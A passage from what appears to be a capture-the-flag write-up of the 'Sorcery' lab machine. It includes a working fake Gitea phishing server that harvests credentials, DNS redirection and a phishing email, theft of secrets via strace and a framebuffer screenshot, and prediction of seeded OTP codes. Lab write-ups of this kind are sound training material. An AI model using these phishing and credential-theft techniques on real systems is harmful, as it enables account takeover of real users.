echo '' > /dns/hosts-user
user@7bfb70ee5b9c:/$ echo "10.10.14.102 git.sorcery.htb" > /dns/hosts-user && pkill -HUP dnsmasq
<orcery.htb" > /dns/hosts-user && pkill -HUP dnsmasq
user@7bfb70ee5b9c:/$ cat /dns/hosts-user
cat /dns/hosts-user
10.10.14.102 git.sorcery.htb
user@7bfb70ee5b9c:/$
Then we sent the phishing email via SMTP:
user@7bfb70ee5b9c:/$ python3 -c "import smtplib,email.mime.text as e; msg=e.MIMEText('<a href=\"https://git.sorcery.htb/user/login\">Click here to verify your account</a>','html'); msg['Subject']='Action Required: Verify Your Account'; msg['From']='admin@sorcery.htb';msg['To']='tom_summers@sorcery.htb'; s=smtplib.SMTP('172.19.0.4',1025); s.send_message(msg); s.quit(); print('sent')"
<025); s.send_message(msg); s.quit(); print('sent')"
sent
user@7bfb70ee5b9c:/$
Catching the credentials
We ran a fake Gitea HTTPS login page (fake_gitea.py) using our signed certificate.
#!/usr/bin/env python3
"""
Fake Gitea HTTPS server — captures credentials submitted to /user/login
"""
import ssl
import json
import urllib.parse
from http.server import HTTPServer, BaseHTTPRequestHandler
CERT = "git.crt"
KEY = "git.key"
PORT = 443
LOGIN_PAGE = b"""<!DOCTYPE html>
<html>
<head><title>Sign In - Gitea</title></head>
<body>
<form id="login-form" method="POST" action="/user/login">
<input type="hidden" name="_csrf" value="fakecsrftoken">
<input id="user_name" name="_user_name" type="text" autocomplete="username">
<input id="password" name="password" type="password" autocomplete="current-password">
<input name="remember" type="checkbox" value="on">
<button type="submit" id="submit-btn" name="submit">Sign In</button>
</form>
</body>
</html>
"""
class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
print(f"[HTTP] {self.address_string()} - {fmt % args}")
def do_GET(self):
print(f"[GET] {self.path} from {self.client_address[0]}")
for k, v in self.headers.items():
print(f" {k}: {v}")
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
self.wfile.write(LOGIN_PAGE)
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode(errors="replace")
params = urllib.parse.parse_qs(body)
print(f"\n{'='*60}")
print(f"[POST] {self.path} from {self.client_address[0]}")
print(f"[CREDS] Raw body : {body}")
for k, v in params.items():
print(f"[CREDS] {k} = {v[0]}")
print(f"{'='*60}\n")
# Redirect to real Gitea so it looks legit
self.send_response(302)
self.send_header("Location", "https://git.sorcery.htb/")
self.end_headers()
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(CERT, KEY)
server = HTTPServer(("0.0.0.0", PORT), Handler)
server.socket = ctx.wrap_socket(server.socket, server_side=True)
print(f"[*] Fake Gitea HTTPS listening on port {PORT}")
print(f"[*] Waiting for Tom...")
server.serve_forever()
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ sudo python3 fake_gitea.py
[*] Fake Gitea HTTPS listening on port 443
[*] Waiting for Tom...
[GET] /user/login from 10.129.237.242
Host: git.sorcery.htb
Connection: keep-alive
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
[HTTP] 10.129.237.242 - "GET /user/login HTTP/1.1" 200 -
[GET] /favicon.ico from 10.129.237.242
Host: git.sorcery.htb
Connection: keep-alive
sec-ch-ua-platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/130.0.0.0 Safari/537.36
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://git.sorcery.htb/user/login
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
[HTTP] 10.129.237.242 - "GET /favicon.ico HTTP/1.1" 200 -
============================================================
[POST] /user/login from 10.129.237.242
[CREDS] Raw body : _csrf=fakecsrftoken&_user_name=tom_summers&password=jNsMKQ6k2.XDMPu.&submit=
[CREDS] _csrf = fakecsrftoken
[CREDS] _user_name = tom_summers
[CREDS] password = jNsMKQ6k2.XDMPu.
============================================================
[HTTP] 10.129.237.242 - "POST /user/login HTTP/1.1" 302 -
Shell as tom_summers
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ ssh tom_summers@sorcery.htb
The authenticity of host 'sorcery.htb (10.129.237.242)' can't be established.
ED25519 key fingerprint is SHA256:Nshm+HLprf4CSB15aD8bc/lzqdKMitLi34sS1ZUlBog.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'sorcery.htb' (ED25519) to the list of known hosts.
(tom_summers@sorcery.htb) Password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Wed Apr 8 19:55:48 2026 from 10.10.14.102
tom_summers@main:~$ id
uid=2001(tom_summers) gid=2001(tom_summers) groups=2001(tom_summers)
tom_summers@main:~$
We now had SSH access to the host machine as tom_summers.
Lateral movement to tom_summers_admin via Xvfb screenshot
On the host, we found an Xvfb framebuffer file owned by tom_summers_admin.
tom_summers@main:/xorg/xvfb$ ls -al
total 524
drwxr-xr-x 2 tom_summers_admin tom_summers_admin 4096 Apr 8 15:30 .
drwxr-xr-x 3 root root 4096 Apr 28 2025 ..
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Apr 8 15:30 Xvfb_screen0
tom_summers@main:/xorg/xvfb$ ls -la /xorg/xvfb/Xvfb_screen0
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Apr 8 15:30 /xorg/xvfb/Xvfb_screen0
tom_summers@main:/xorg/xvfb$ cp /xorg/xvfb/Xvfb_screen0 /tmp/fb.raw
tom_summers@main:/xorg/xvfb$
Xvfb (X Virtual Framebuffer) stores its screen contents as raw pixel data. The file format matches XWD (X Window Dump), which can be converted to a viewable image. We copied it out, converted it on our machine, and opened the screenshot.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ scp tom_summers@sorcery.htb:/tmp/fb.raw .
(tom_summers@sorcery.htb) Password:
fb.raw
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ cp fb.raw screen.xwd
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ convert screen.xwd screenshot.png
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ xdg-open screenshot.png

The screenshot showed a terminal with the password dWpuk7cesBjT- visible on screen.
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ ssh tom_summers_admin@sorcery.htb
Password:
tom_summers_admin@main:~$
Lateral movement to rebecca_smith via strace + docker credential helper
Understanding the chain
tom_summers_admin has two sudo rights as rebecca_smith:
tom_summers_admin@main:~$ sudo -l
Matching Defaults entries for tom_summers_admin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tom_summers_admin may run the following commands on localhost:
(rebecca_smith) NOPASSWD: /usr/bin/docker login
(rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]*
tom_summers_admin@main:~$
When docker login runs, it invokes docker-credential-docker-auth (a custom .NET credential helper owned by rebecca_smith) to retrieve stored credentials. If we can catch this helper while it's running, strace will show the credentials it writes to stdout.
Racing strace against docker login
In one terminal, we loop docker login:
tom_summers_admin@main:~$ while true; do
sudo -u rebecca_smith docker login </dev/null 2>/dev/null
sleep 1
done
In another, we wait for the helper process and attach strace:
tom_summers_admin@main:~$ while true; do PID=$(pgrep -u rebecca_smith -f "docker-credential" 2>/dev/null); if [ -n "$PID" ]; then echo "[+] Caught PID $PID"; sudo -u rebecca_smith strace -s 128 -p $PID 2>&1; break; fi; done
In the strace output, we caught the credential write:
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x681000) = 0x7c3ba001a000
munmap(0x7c3ba001a000, 16384) = 0
mprotect(0x60d3408ad000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x60d33f5c0000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x180000) = 0x7c3ba348c000
munmap(0x7c3ba3289000, 8192) = 0
fcntl(2, F_DUPFD_CLOEXEC, 0) = 64
write(64, "This account might be protected by two-factor authentication\n", 61) = 61
write(64, "In case login fails, try logging in with <password><otp>\n", 57) = 57
write(33, "{\"Username\":\"rebecca_smith\",\"Secret\":\"-7eAZDp9-f9mg\"}\n", 54) = 54
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16f000) = 0x7c3ba3330000
munmap(0x7c3ba348e000, 8192) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17e000) = 0x7c3ba348f000
munmap(0x7c3ba3331000, 4096) = 0
unlink("/tmp/dotnet-diagnostic-526070-1875581-socket") = 0
futex(0x60d3f5d4bbd0, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x60d3f5d4bb80, FUTEX_WAKE_PRIVATE, 1) = 1
Credentials: rebecca_smith / -7eAZDp9-f9mg.
Reversing the .NET credential helper
We needed to understand the OTP algorithm because the helper mentioned two-factor authentication. We extracted the .NET single-file bundle from the docker-credential-docker-auth binary using a custom Python extractor, then decompiled the main DLL with ilspycmd.
#!/usr/bin/env python3
"""Extract files from a .NET single-file bundle."""
import struct, os, sys
def read_7bit_int(data, pos):
"""Read a 7-bit encoded integer (used for string lengths)."""
result, shift = 0, 0
while True:
b = data[pos]; pos += 1
result |= (b & 0x7F) << shift
if not (b & 0x80):
break
shift += 7
return result, pos
def read_string(data, pos):
length, pos = read_7bit_int(data, pos)
return data[pos:pos+length].decode('utf-8'), pos + length
def extract(path, outdir):
data = open(path, 'rb').read()
magic = b'\x8b\x12\x02\xb9\x6a\x61\x20\x38'
idx = data.rfind(magic)
if idx == -1:
print("[-] No bundle magic found"); return
header_off = struct.unpack_from('<q', data, idx - 8)[0]
print(f"[*] Bundle magic at {idx:#x}, header at {header_off:#x}")
pos = header_off
major = struct.unpack_from('<I', data, pos)[0]; pos += 4
minor = struct.unpack_from('<I', data, pos)[0]; pos += 4
file_count = struct.unpack_from('<i', data, pos)[0]; pos += 4
bundle_id, pos = read_string(data, pos)
print(f"[*] Bundle v{major}.{minor}, {file_count} files, ID={bundle_id}")
if major >= 2:
# deps.json and runtimeconfig.json location fields (v2+)
deps_offset = struct.unpack_from('<q', data, pos)[0]; pos += 8
deps_size = struct.unpack_from('<q', data, pos)[0]; pos += 8
rc_offset = struct.unpack_from('<q', data, pos)[0]; pos += 8
rc_size = struct.unpack_from('<q', data, pos)[0]; pos += 8
flags = struct.unpack_from('<Q', data, pos)[0]; pos += 8
print(f"[*] Flags: {flags:#x}")
os.makedirs(outdir, exist_ok=True)
for i in range(file_count):
offset = struct.unpack_from('<q', data, pos)[0]; pos += 8
size = struct.unpack_from('<q', data, pos)[0]; pos += 8
if major >= 6:
comp_size = struct.unpack_from('<q', data, pos)[0]; pos += 8
else:
comp_size = -1
ftype = data[pos]; pos += 1
rel_path, pos = read_string(data, pos)
if not rel_path:
rel_path = f'entry_{i}'
outpath = os.path.join(outdir, rel_path.replace('/', os.sep))
os.makedirs(os.path.dirname(outpath) or outdir, exist_ok=True)
if comp_size > 0:
raw = data[offset:offset+comp_size]
# Try deflate (most common in .NET bundles)
try:
import zlib
payload = zlib.decompress(raw, -15)
except Exception:
try:
import brotli
payload = brotli.decompress(raw)
except Exception:
# Show first bytes to help identify format
print(f" [!] Cannot decompress {rel_path}: first bytes = {raw[:16].hex()}")
payload = raw # save raw
else:
payload = data[offset:offset+size]
with open(outpath, 'wb') as f:
f.write(payload)
print(f" [{i+1:3d}] type={ftype} size={size:>10,} {rel_path}")
print(f"\n[+] Extracted {file_count} files to {outdir}/")
if __name__ == '__main__':
extract(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else '/tmp/bundle_out')
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ rm -rf /tmp/bundle_out && python3 extract_bundle.py docker-cred-orig /tmp/bundle_out 2>&1 | head -40
[*] Bundle magic at 0xa5c5f8, header at 0x401171b
[*] Bundle v6.0, 174 files, ID=gYUkbrOHlN3o8VyLImQ5jVw8cDGqzm8=
[*] Flags: 0x0
[ 1] type=1 size= 9,728 docker-auth.dll
[ 2] type=4 size= 358 docker-auth.runtimeconfig.json
[ 3] type=1 size= 817,416 Microsoft.CSharp.dll
[ 4] type=1 size= 1,218,848 Microsoft.VisualBasic.Core.dll
[ 5] type=1 size= 17,680 Microsoft.VisualBasic.dll
[ 6] type=1 size= 15,624 Microsoft.Win32.Primitives.dll
[ 7] type=1 size= 33,040 Microsoft.Win32.Registry.dll
[ 8] type=1 size= 15,640 System.AppContext.dll
[ 9] type=1 size= 15,656 System.Buffers.dll
[ 10] type=1 size= 255,760 System.Collections.Concurrent.dll
[ 11] type=1 size= 755,976 System.Collections.Immutable.dll
[ 12] type=1 size= 93,960 System.Collections.NonGeneric.dll
[ 13] type=1 size= 93,968 System.Collections.Specialized.dll
[ 14] type=1 size= 252,688 System.Collections.dll
[ 15] type=1 size= 192,784 System.ComponentModel.Annotations.dll
[ 16] type=1 size= 17,168 System.ComponentModel.DataAnnotations.dll
[ 17] type=1 size= 36,640 System.ComponentModel.EventBasedAsync.dll
[ 18] type=1 size= 71,432 System.ComponentModel.Primitives.dll
[ 19] type=1 size= 748,296 System.ComponentModel.TypeConverter.dll
[ 20] type=1 size= 17,672 System.ComponentModel.dll
[ 21] type=1 size= 19,736 System.Configuration.dll
[ 22] type=1 size= 200,464 System.Console.dll
[ 23] type=1 size= 23,864 System.Core.dll
[ 24] type=1 size= 2,899,224 System.Data.Common.dll
[ 25] type=1 size= 16,168 System.Data.DataSetExtensions.dll
[ 26] type=1 size= 25,384 System.Data.dll
[ 27] type=1 size= 16,664 System.Diagnostics.Contracts.dll
[ 28] type=1 size= 16,136 System.Diagnostics.Debug.dll
[ 29] type=1 size= 410,896 System.Diagnostics.DiagnosticSource.dll
[ 30] type=1 size= 43,280 System.Diagnostics.FileVersionInfo.dll
[ 31] type=1 size= 273,168 System.Diagnostics.Process.dll
[ 32] type=1 size= 30,984 System.Diagnostics.StackTrace.dll
[ 33] type=1 size= 60,192 System.Diagnostics.TextWriterTraceListener.dll
[ 34] type=1 size= 15,640 System.Diagnostics.Tools.dll
[ 35] type=1 size= 134,920 System.Diagnostics.TraceSource.dll
[ 36] type=1 size= 16,680 System.Diagnostics.Tracing.dll
[ 37] type=1 size= 125,200 System.Drawing.Primitives.dll
┌──(kali㉿kali)-[~/Documents/htb/sorcerer/exploits]
└─$ ls /tmp/bundle_out
docker-auth.deps.json System.Diagnostics.FileVersionInfo.dll System.Memory.dll System.Reflection.Primitives.dll System.ServiceModel.Web.dll
docker-auth.dll System.Diagnostics.Process.dll System.Net.dll System.Reflection.TypeExtensions.dll System.ServiceProcess.dll
docker-auth.runtimeconfig.json System.Diagnostics.StackTrace.dll System.Net.Http.dll System.Resources.Reader.dll System.Text.Encoding.CodePages.dll
libMono.Unix.so System.Diagnostics.TextWriterTraceListener.dll System.Net.Http.Json.dll System.Resources.ResourceManager.dll System.Text.Encoding.dll
Microsoft.CSharp.dll System.Diagnostics.Tools.dll System.Net.HttpListener.dll System.Resources.Writer.dll System.Text.Encoding.Extensions.dll
Microsoft.VisualBasic.Core.dll System.Diagnostics.TraceSource.dll System.Net.Mail.dll System.Runtime.CompilerServices.Unsafe.dll System.Text.Encodings.Web.dll
Microsoft.VisualBasic.dll System.Diagnostics.Tracing.dll System.Net.NameResolution.dll System.Runtime.CompilerServices.VisualC.dll System.Text.Json.dll
Microsoft.Win32.Primitives.dll System.dll System.Net.NetworkInformation.dll System.Runtime.dll System.Text.RegularExpressions.dll
Microsoft.Win32.Registry.dll System.Drawing.dll System.Net.Ping.dll System.Runtime.Extensions.dll System.Threading.Channels.dll
Mono.Posix.dll System.Drawing.Primitives.dll System.Net.Primitives.dll System.Runtime.Handles.dll System.Threading.dll
Mono.Unix.dll System.Dynamic.Runtime.dll System.Net.Quic.dll System.Runtime.InteropServices.dll System.Threading.Overlapped.dll
mscorlib.dll System.Formats.Asn1.dll System.Net.Requests.dll System.Runtime.InteropServices.JavaScript.dll System.Threading.Tasks.Dataflow.dll
netstandard.dll System.Formats.Tar.dll System.Net.Security.dll System.Runtime.InteropServices.RuntimeInformation.dll System.Threading.Tasks.dll
System.AppContext.dll System.Globalization.Calendars.dll System.Net.ServicePoint.dll System.Runtime.Intrinsics.dll System.Threading.Tasks.Extensions.dll
System.Buffers.dll System.Globalization.dll System.Net.Sockets.dll System.Runtime.Loader.dll System.Threading.Tasks.Parallel.dll
System.Collections.Concurrent.dll System.Globalization.Extensions.dll System.Net.WebClient.dll System.Runtime.Numerics.dll System.Threading.Thread.dll
System.Collections.dll System.IO.Compression.Brotli.dll System.Net.WebHeaderCollection.dll System.Runtime.Serialization.dll System.Threading.ThreadPool.dll
System.Collections.Immutable.dll System.IO.Compression.dll System.Net.WebProxy.dll System.Runtime.Serialization.Formatters.dll System.Threading.Timer.dll
System.Collections.NonGeneric.dll System.IO.Compression.FileSystem.dll System.Net.WebSockets.Client.dll System.Runtime.Serialization.Json.dll System.Transactions.dll
System.Collections.Specialized.dll System.IO.Compression.ZipFile.dll System.Net.WebSockets.dll System.Runtime.Serialization.Primitives.dll System.Transactions.Local.dll
System.ComponentModel.Annotations.dll System.IO.dll System.Numerics.dll System.Runtime.Serialization.Xml.dll System.ValueTuple.dll
System.ComponentModel.DataAnnotations.dll System.IO.FileSystem.AccessControl.dll System.Numerics.Vectors.dll System.Security.AccessControl.dll System.Web.dll
System.ComponentModel.dll System.IO.FileSystem.dll System.ObjectModel.dll System.Security.Claims.dll System.Web.HttpUtility.dll
System.ComponentModel.EventBasedAsync.dll System.IO.FileSystem.DriveInfo.dll System.Private.CoreLib.dll System.Security.Cryptography.Algorithms.dll System.Windows.dll
System.ComponentModel.Primitives.dll System.IO.FileSystem.Primitives.dll System.Private.DataContractSerialization.dll System.Security.Cryptography.Cng.dll System.Xml.dll
System.ComponentModel.TypeConverter.dll System.IO.FileSystem.Watcher.dll System.Private.Uri.dll System.Security.Cryptography.Csp.dll System.Xml.Linq.dll
System.Configuration.dll System.IO.IsolatedStorage.dll System.Private.Xml.dll System.Security.Cryptography.dll System.Xml.ReaderWriter.dll
System.Console.dll System.IO.MemoryMappedFiles.dll System.Private.Xml.Linq.dll System.Security.Cryptography.Encoding.dll System.Xml.Serialization.dll
System.Core.dll System.IO.Pipes.AccessControl.dll System.Reflection.DispatchProxy.dll System.Security.Cryptography.OpenSsl.dll System.Xml.XDocument.dll
System.Data.Common.dll System.IO.Pipes.dll System.Reflection.dll System.Security.Cryptography.Primitives.dll System.Xml.XmlDocument.dll
System.Data.DataSetExtensions.dll System.IO.UnmanagedMemoryStream.dll System.Reflection.Emit.dll System.Security.Cryptography.X509Certificates.dll System.Xml.XmlSerializer.dll
System.Data.dll System.Linq.dll System.Reflection.Emit.ILGeneration.dll System.Security.dll System.Xml.XPath.dll
System.Diagnostics.Contracts.dll System.Linq.Expressions.dll System.Reflection.Emit.Lightweight.dll System.Security.Principal.dll System.Xml.XPath.XDocument.dll
System.Diagnostics.Debug.dll System.Linq.Parallel.dll System.Reflection.Extensions.dll System.Security.Principal.Windows.dll WindowsBase.dll
System.Diagnostics.DiagnosticSource.dll System.Linq.Queryable.dll System.Reflection.Metadata.dll System.Security.SecureString.dll
┌──(kali㉿kali)-[/tmp/bundle_out]
└─$ ~/.dotnet/tools/ilspycmd /tmp/bundle_out/docker-auth.dll
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Versioning;
using System.Security.Cryptography;
using System.Text.Json;
using Mono.Unix;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: TargetFramework(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")]
[assembly: AssemblyCompany("docker-auth")]
[assembly: AssemblyConfiguration("Release")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyInformationalVersion("1.0.0")]
[assembly: AssemblyProduct("docker-auth")]
[assembly: AssemblyTitle("docker-auth")]
[assembly: AssemblyVersion("1.0.0.0")]
[module: RefSafetyRules(11)]
[CompilerGenerated]
internal class Program
{
private static void <Main>$(string[] args)
{
if (args.Length != 1)
{
Console.Error.WriteLine("Invalid arguments.");
return;
}
if (!new Dictionary<string, (Action<object>, InputType)>
{
{
"get",
(HandleGet, InputType.Plain)
},
{
"store",
(HandleStore, InputType.Json)
},
{
"otp",
(HandleOtp, InputType.None)
}
}.TryGetValue(args[0], out var value))
{
Console.WriteLine("Not implemented.");
return;
}
dynamic val = "";
if (value.Item2 != 0)
{
string text = Console.ReadLine();
if (text == null)
{
Console.Error.WriteLine("Input is empty");
return;
}
switch (value.Item2)
{
case InputType.Plain:
val = text;
break;
case InputType.Json:
try
{
Dictionary<string, object> dictionary = JsonSerializer.Deserialize<Dictionary<string, object>>(text);
if (dictionary == null)
{
Console.Error.WriteLine("Invalid JSON format");
return;
}
val = dictionary;
}
catch (JsonException)
{
Console.Error.WriteLine("Invalid JSON data");
return;
}
break;
}
}
value.Item1(val);
static string GetCredsPath(string username)
{
return "/home/" + username + "/.docker/creds";
}
static UnixUserInfo GetCurrentExecutableOwner()
{
return new UnixFileInfo("/proc/self/exe").OwnerUser;
}
static void HandleGet(dynamic dynamicArgs)
{
byte[] buffer = Convert.FromBase64String(File.ReadAllText(GetCredsPath(GetCurrentExecutableOwner().UserName)));
using Aes aes2 = Aes.Create();
byte[] key2 = new byte[16];
byte[] iV2 = new byte[16];
aes2.Key = key2;
aes2.IV = iV2;
ICryptoTransform transform2 = aes2.CreateDecryptor(aes2.Key, aes2.IV);
using MemoryStream stream2 = new MemoryStream(buffer);
using CryptoStream stream3 = new CryptoStream(stream2, transform2, CryptoStreamMode.Read);
using StreamReader streamReader = new StreamReader(stream3);
string text2 = streamReader.ReadToEnd();
Credentials credentials2;
try
{
credentials2 = JsonSerializer.Deserialize<Credentials>(text2);
}
catch (JsonException)
{
Console.Error.WriteLine("Invalid credentials format");
return;
}
if (credentials2.Username == null)
{
Console.Error.WriteLine("Missing username");
}
else if (credentials2.Secret == null)
{
Console.Error.WriteLine("Missing secret");
}
else
{
Console.Error.WriteLine("This account might be protected by two-factor authentication");
Console.Error.WriteLine("In case login fails, try logging in with <password><otp>");
Console.WriteLine(text2);
}
}
static void HandleOtp(dynamic dynamicArgs)
{
new Random(DateTime.Now.Minute / 10 + (int)GetCurrentExecutableOwner().UserId).Next(100000, 999999);
Console.WriteLine("OTP is currently experimental. Please ask our admins for one");
}
static void HandleStore(dynamic dynamicArgs)
{
Dictionary<string, object> dictionary2 = dynamicArgs as Dictionary<string, object>;
if (!dictionary2.TryGetValue("Username", out dynamic value2))
{
Console.Error.WriteLine("No username provided");
}
else
{
if (dictionary2.TryGetValue("Secret", out dynamic value3))
{
Credentials credentials = default(Credentials);
credentials.Username = Convert.ToString(value2);
credentials.Secret = Convert.ToString(value3);
Credentials value4 = credentials;
using Aes aes = Aes.Create();
byte[] key = new byte[16];
byte[] iV = new byte[16];
aes.Key = key;
aes.IV = iV;
ICryptoTransform transform = aes.CreateEncryptor(aes.Key, aes.IV);
using MemoryStream memoryStream = new MemoryStream();
using CryptoStream stream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
using (StreamWriter streamWriter = new StreamWriter(stream))
{
streamWriter.Write(JsonSerializer.Serialize(value4));
}
string contents = Convert.ToBase64String(memoryStream.ToArray());
File.WriteAllText(GetCredsPath(GetCurrentExecutableOwner().UserName), contents);
return;
}
Console.Error.WriteLine("No secret provided");
}
}
}
}
internal struct Credentials
{
public string Username { get; init; }
public string Secret { get; init; }
}
internal enum InputType
{
None,
Plain,
Json
}
You are not using the latest version of the tool, please update.
Latest version is '10.0.0.8330' (yours is '8.2.0.7535-95108c96')
Key findings from the decompiled code:
The HandleGet function decrypts credentials using AES with an all-zeros 16-byte key and IV — effectively no encryption at all:
byte[] key = new byte[16];
byte[] iV = new byte[16];
The HandleOtp function generates a 6-digit OTP seeded from the current 10-minute window plus the user's UID:
new Random(DateTime.Now.Minute / 10 + (int)GetCurrentExecutableOwner().UserId)
.Next(100000, 999999);
We reimplemented C#'s System.Random in Python and computed the OTP for rebecca_smith (UID 2003).
┌──(kali㉿kali)-[/tmp/bundle_out]
└─$ python3 -c "
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
data = base64.b64decode('ls/Lbtzq4b4D/ItZy5SchUvKEzgO7+XHLaVbze4KOKzZxqhsTRWdBmAw1Fcs/nWhIvQVLcoa5NF39WM3tv6jVA==')
key = bytes(16) # all zeros
iv = bytes(16) # all zeros
cipher = AES.new(key, AES.MODE_CBC, iv)
print(unpad(cipher.decrypt(data), 16).decode())
"
{"Username":"rebecca_smith","Secret":"-7eAZDp9-f9mg"}
┌──(kali㉿kali)-[/tmp/bundle_out]
└─$ python3 -c "
import datetime
# C# System.Random implementation
class CSharpRandom:
def __init__(self, seed):
self._seed = seed
self._inext = 0
self._inextp = 21
self._seedArray = [0] * 56
ii = 0
mj = 161803398 - abs(seed)
self._seedArray[55] = mj
mk = 1
for i in range(1, 55):
ii = (21 * i) % 55
self._seedArray[ii] = mk
mk = mj - mk
if mk < 0:
mk += 2147483647
mj = self._seedArray[ii]
for k in range(1, 5):
for i in range(1, 56):
n = i + 30
if n >= 55:
n -= 55
self._seedArray[i] -= self._seedArray[1 + n]
if self._seedArray[i] < 0:
self._seedArray[i] += 2147483647
self._inext = 0
self._inextp = 21
def _sample(self):
inext = self._inext + 1
if inext >= 56:
inext = 1
inextp = self._inextp + 1
if inextp >= 56:
inextp = 1
retval = self._seedArray[inext] - self._seedArray[inextp]
if retval < 0:
retval += 2147483647
self._seedArray[inext] = retval
self._inext = inext
self._inextp = inextp
return retval / 2147483647.0
def next(self, min_val, max_val):
return int(self._sample() * (max_val - min_val)) + min_val
uid = 2003
now = datetime.datetime.now()
for minute_offset in range(-1, 2): # try previous, current, next window
m = (now.minute + minute_offset * 10) % 60
seed = m // 10 + uid
r = CSharpRandom(seed)
otp = r.next(100000, 999999)
print(f'minute_window={m//10} seed={seed} OTP={otp}')
"
minute_window=5 seed=2008 OTP=780645
minute_window=0 seed=2003 OTP=229732
minute_window=1 seed=2004 OTP=699914
Accessing the Docker registry
With the password and a valid OTP, we authenticated to the local Docker registry.
rebecca_smith@main:/etc/ipa/nssdb$ OTP=229732
rebecca_smith@main:/etc/ipa/nssdb$ curl -u "rebecca_smith:-7eAZDp9-f9mg${OTP}" http://127.0.0.1:5000/v2/_catalog
{"repositories":["test-domain-workstation"]}
rebecca_smith@main:/etc/ipa/nssdb$
We pulled the image manifest, downloaded the entrypoint layer, and found FreeIPA enrollment credentials:
rebecca_smith@main:/etc/ipa/nssdb$ curl -u "rebecca_smith:-7eAZDp9-f9mg${OTP}" http://127.0.0.1:5000/v2/test-domain-workstation/tags/list
{"name":"test-domain-workstation","tags":["latest"]}
rebecca_smith@main:/etc/ipa/nssdb$ curl -u "rebecca_smith:-7eAZDp9-f9mg${OTP}" http://127.0.0.1:5000/v2/test-domain-workstation/manifests/latest
{
"schemaVersion": 1,
"name": "test-domain-workstation",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:292e59a87dfb0fb3787c3889e4c1b81bfef0cd2f3378c61f281a4c7a02ad1787"
},
{
"blobSum": "sha256:bff382edc3a6db932abb361e3bd5aa09521886b0b79792616fc346b19a9497ea"
},
{
"blobSum": "sha256:92879ec4738326a2ab395b2427c2ba16d7dcf348f84477653a635c86d0146cb7"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:802008e7f7617aa11266de164e757a6c8d7bb57ed4c972cf7e9f519dd0a21708"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
